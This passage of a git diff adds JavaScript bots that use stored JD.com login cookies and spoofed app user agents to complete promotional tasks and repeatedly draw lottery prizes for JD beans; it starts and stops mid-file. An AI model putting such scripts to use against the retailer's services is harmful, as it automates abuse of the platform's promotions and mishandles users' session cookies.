'20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +async function api(fn, stk, params) { + let url = `https://m.jingxi.com/pgcenter`; + url = await decrypturl(`${url}/${fn}?sceneval=2&_stk=active,activedesc,sceneval&_ste=1&_=${Date.now()}&sceneval=2`, stk, params, 10012) + let myRequest = taskUrl(url); + return new Promise(async resolve => { + let rv = ""; + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data) + rv = data + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + resolve(); + } finally { + resolve(rv); + } + }) + }) +} + +function taskUrl(url) { + return { + url, + headers: { + "Host": "m.jingxi.com", + "Connection": "keep-alive", + "User-Agent": "jdpingou", + "Accept": "*/*", + "Referer": "https://st.jingxi.com/pingou/taskcenter/index.html", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": $.cookie, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { this.env = t } + send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } + get(t) { return this.send.call(this.env, t) } + post(t) { return this.send.call(this.env, t, "POST") } + } + return new class { + constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } + isNode() { return "undefined" != typeof module && !!module.exports } + isQuanX() { return "undefined" != typeof $task } + isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } + isLoon() { return "undefined" != typeof $loon } + toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } + toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { s = JSON.parse(this.getdata(t)) } catch { } + return s + } + setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } + getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { e = "" } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } + setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } + initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } + get(t, e = (() => { })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { this.logErr(t) } + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => { })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s } + } + if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { return new Promise(e => setTimeout(e, t)) } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_nzmh.js b/jd_nzmh.js new file mode 100644 index 0000000..acd133d --- /dev/null +++ b/jd_nzmh.js @@ -0,0 +1,283 @@ +/* +#女装盲盒抽京豆任务,自行加入一下环境变量 +export jd_nzmhurl="https://anmp.jd.com/babelDiy/Zeus/2x36jyruNVDWxUiAiGAgHRrkqVX2/index.html" + +cron 35 1,23 * * * + */ + +const $ = new Env('女装盲盒抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +let jd_nzmhurl = 'https://anmp.jd.com/babelDiy/Zeus/3ZHWXfEDpu5GyX1BgCEN3qQwrC4K/index.html'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_nzmhurl) jd_nzmhurl = process.env.jd_nzmhurl + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!jd_nzmhurl) { + $.log(`暂时没有女装盲盒,改日再来~`); + return; + } + console.log(`新的女装盲盒已经准备好: ${jd_nzmhurl},准备开始薅豆`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try { + await jdMh(jd_nzmhurl) + } catch (e) { + $.logErr(e) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + allMessage += `京东账号${$.index}${$.nickName}获得${$.beans}京豆\n` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url) { + console.log(`\n女装盲盒url:${url}\n`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data && data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } else { + console.log(`抽奖 未中奖`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `${jd_nzmhurl}?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_opencardjoyjd.js b/jd_opencardjoyjd.js new file mode 100644 index 0000000..66d3f1e --- 